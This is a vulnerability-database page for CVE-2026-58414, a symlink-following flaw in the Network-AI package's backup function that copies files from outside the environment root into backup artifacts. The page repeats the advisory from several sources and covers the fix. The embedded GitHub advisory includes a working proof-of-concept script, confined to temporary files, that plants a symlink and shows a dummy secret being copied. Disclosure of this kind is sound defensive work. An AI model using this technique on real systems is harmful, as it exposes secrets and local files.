Every CVE Search/ Get API key

CVE-2026-58414

Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups

5.5 MediumFix available

Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, EnvironmentManager.backup() recursively collects files using _collectBackupFiles(). _collectBackupFiles() uses statSync(full), which follows symlinks. If data/<env> contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into data/<env>/.backups/<backupId>/. An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. The issue is fixed in v5.12.2. _collectBackupFiles() now uses lstatSync instead of statSync and skips any entry where isSymbolicLink() is true. Symlinks are never traversed, so backup() can no longer follow a link out of the environment root and copy external files into a backup artifact.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.19%Up 0.1 points since Jul 21, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.5

Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups

Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, EnvironmentManager.backup() recursively collects files using _collectBackupFiles(). _collectBackupFiles() uses statSync(full), which follows symlinks. If data/<env> contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into data/<env>/.backups/<backupId>/. An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. The issue is fixed in v5.12.2. _collectBackupFiles() now uses lstatSync instead of statSync and skips any entry where isSymbolicLink() is true. Symlinks are never traversed, so backup() can no longer follow a link out of the environment root and copy external files into a backup artifact.

Record
CVE-2026-58414
CVSS 3.1
5.5 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22, CWE-59
Updated
2026-11-02
EUVDEUVD-2026-46016 5.5

Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, EnvironmentManager.backup() recursively collects files using _collectBackupFiles(). _collectBackupFiles() uses statSync(full), which follows symlinks. If data/<env> contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into data/<env>/.backups/<backupId>/. An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. The issue is fixed in v5.12.2. _collectBackupFiles() now uses lstatSync instead of statSync and skips any entry where isSymbolicLink() is true. Symlinks are never traversed, so backup() can no longer follow a link out of the environment root and copy external files into a backup artifact.

Record
EUVD-2026-46016
CVSS 3.1
5.5 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-6x2m-p4xp-wg22 5.5

Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups

Summary

EnvironmentManager.backup() recursively collects files using _collectBackupFiles(). _collectBackupFiles() uses statSync(full), which follows symlinks. If data/<env> contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into data/<env>/.backups/<backupId>/.

An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.

Details

backup() collects file paths and copies them into the backup directory:

const files = this._collectBackupFiles(envDir);
for (const rel of files) {
  const src = join(envDir, rel);
  const dst = join(backupPath, rel);
  mkdirSync(join(backupPath, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });
  try { copyFileSync(src, dst); } catch { /* skip unreadable */ }
}

_collectBackupFiles() follows symlinked directories because it calls statSync(), not lstatSync():

const info = statSync(full);
if (info.isDirectory()) {
  walk(full, rel);
} else {
  results.push(rel);
}

Default CLI reachability exists through network-ai env backup create --env <env>. backup() also runs automatically before promotion and restore operations.

Affected source evidence:

  • lib/env-manager.ts:435-460 — backup copy logic.
  • lib/env-manager.ts:596-617 — symlink-following _collectBackupFiles().
  • bin/cli.ts:413-420 — default CLI exposes backup creation.
  • lib/env-manager.ts:294-297 and 483-484 — backup also runs before promote/restore.

PoC

This PoC uses only temporary files. It creates a symlink inside data/dev pointing to an external directory, then runs backup('dev') and observes that the external file is copied into the backup:

TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const data = path.join(base, 'data');
const outside = path.join(base, 'outside');

fs.mkdirSync(outside, { recursive: true });
fs.writeFileSync(path.join(outside, 'secret.txt'), 'secret-through-symlink');

const mgr = new EnvironmentManager(data, {
  chain: ['dev', 'st'],
  gates: { dev: 'auto', st: 'auto' },
});

mgr.init('dev');
fs.symlinkSync(outside, path.join(data, 'dev', 'linked-outside'), 'dir');

const result = mgr.backup('dev');
const copied = path.join(result.path, 'linked-outside', 'secret.txt');

console.log(JSON.stringify({
  copied: fs.existsSync(copied),
  content: fs.readFileSync(copied, 'utf8'),
}, null, 2));

fs.rmSync(base, { recursive: true, force: true });
TS

Observed result: copied is true and content is secret-through-symlink.

Impact

An attacker who can place a symlink in data/<env> can cause backup creation to copy arbitrary readable files from outside the environment root into data/<env>/.backups/<backupId>/. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.


Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install [email protected] — published to npm with provenance.

_collectBackupFiles() now uses lstatSync instead of statSync and skips any entry where isSymbolicLink() is true. Symlinks are never traversed, so backup() can no longer follow a link out of the environment root and copy external files into a backup artifact.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

Record
GHSA-6x2m-p4xp-wg22
CVSS 3.1
5.5 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22, CWE-59
Updated
2026-11-02
NVD 5.5

Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, EnvironmentManager.backup() recursively collects files using _collectBackupFiles(). _collectBackupFiles() uses statSync(full), which follows symlinks. If data/<env> contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into data/<env>/.backups/<backupId>/. An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. The issue is fixed in v5.12.2. _collectBackupFiles() now uses lstatSync instead of statSync and skips any entry where isSymbolicLink() is true. Symlinks are never traversed, so backup() can no longer follow a link out of the environment root and copy external files into a backup artifact.

Record
CVE-2026-58414
CVSS 3.1
5.5 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22, CWE-59
Updated
2026-11-02
OSV 5.5

Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups

Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, EnvironmentManager.backup() recursively collects files using _collectBackupFiles(). _collectBackupFiles() uses statSync(full), which follows symlinks. If data/<env> contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into data/<env>/.backups/<backupId>/. An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. The issue is fixed in v5.12.2. _collectBackupFiles() now uses lstatSync instead of statSync and skips any entry where isSymbolicLink() is true. Symlinks are never traversed, so backup() can no longer follow a link out of the environment root and copy external files into a backup artifact.

Record
CVE-2026-58414
CVSS 3.1
5.5 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22, CWE-59
Updated
2026-11-02
OSVGHSA-6x2m-p4xp-wg22 5.5

Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups

Summary

EnvironmentManager.backup() recursively collects files using _collectBackupFiles(). _collectBackupFiles() uses statSync(full), which follows symlinks. If data/<env> contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into data/<env>/.backups/<backupId>/.

An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.

Details

backup() collects file paths and copies them into the backup directory:

const files = this._collectBackupFiles(envDir);
for (const rel of files) {
  const src = join(envDir, rel);
  const dst = join(backupPath, rel);
  mkdirSync(join(backupPath, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });
  try { copyFileSync(src, dst); } catch { /* skip unreadable */ }
}

_collectBackupFiles() follows symlinked directories because it calls statSync(), not lstatSync():

const info = statSync(full);
if (info.isDirectory()) {
  walk(full, rel);
} else {
  results.push(rel);
}

Default CLI reachability exists through network-ai env backup create --env <env>. backup() also runs automatically before promotion and restore operations.

Affected source evidence:

  • lib/env-manager.ts:435-460 — backup copy logic.
  • lib/env-manager.ts:596-617 — symlink-following _collectBackupFiles().
  • bin/cli.ts:413-420 — default CLI exposes backup creation.
  • lib/env-manager.ts:294-297 and 483-484 — backup also runs before promote/restore.

PoC

This PoC uses only temporary files. It creates a symlink inside data/dev pointing to an external directory, then runs backup('dev') and observes that the external file is copied into the backup:

TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const data = path.join(base, 'data');
const outside = path.join(base, 'outside');

fs.mkdirSync(outside, { recursive: true });
fs.writeFileSync(path.join(outside, 'secret.txt'), 'secret-through-symlink');

const mgr = new EnvironmentManager(data, {
  chain: ['dev', 'st'],
  gates: { dev: 'auto', st: 'auto' },
});

mgr.init('dev');
fs.symlinkSync(outside, path.join(data, 'dev', 'linked-outside'), 'dir');

const result = mgr.backup('dev');
const copied = path.join(result.path, 'linked-outside', 'secret.txt');

console.log(JSON.stringify({
  copied: fs.existsSync(copied),
  content: fs.readFileSync(copied, 'utf8'),
}, null, 2));

fs.rmSync(base, { recursive: true, force: true });
TS

Observed result: copied is true and content is secret-through-symlink.

Impact

An attacker who can place a symlink in data/<env> can cause backup creation to copy arbitrary readable files from outside the environment root into data/<env>/.backups/<backupId>/. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.


Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install [email protected] — published to npm with provenance.

_collectBackupFiles() now uses lstatSync instead of statSync and skips any entry where isSymbolicLink() is true. Symlinks are never traversed, so backup() can no longer follow a link out of the environment root and copy external files into a backup artifact.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

Record
GHSA-6x2m-p4xp-wg22
CVSS 3.1
5.5 MediumCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22, CWE-59
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
network-ai
npm
through 5.12.1
5.12.2
network-ai
npm
before 5.12.2
5.12.2

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-58414 is a medium vulnerability (CVSS 5.5) in Jovancoding Network-ai, published June 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.19%, the 8th percentile. Fixed in network-ai 5.12.2.

References

MoveEnter Open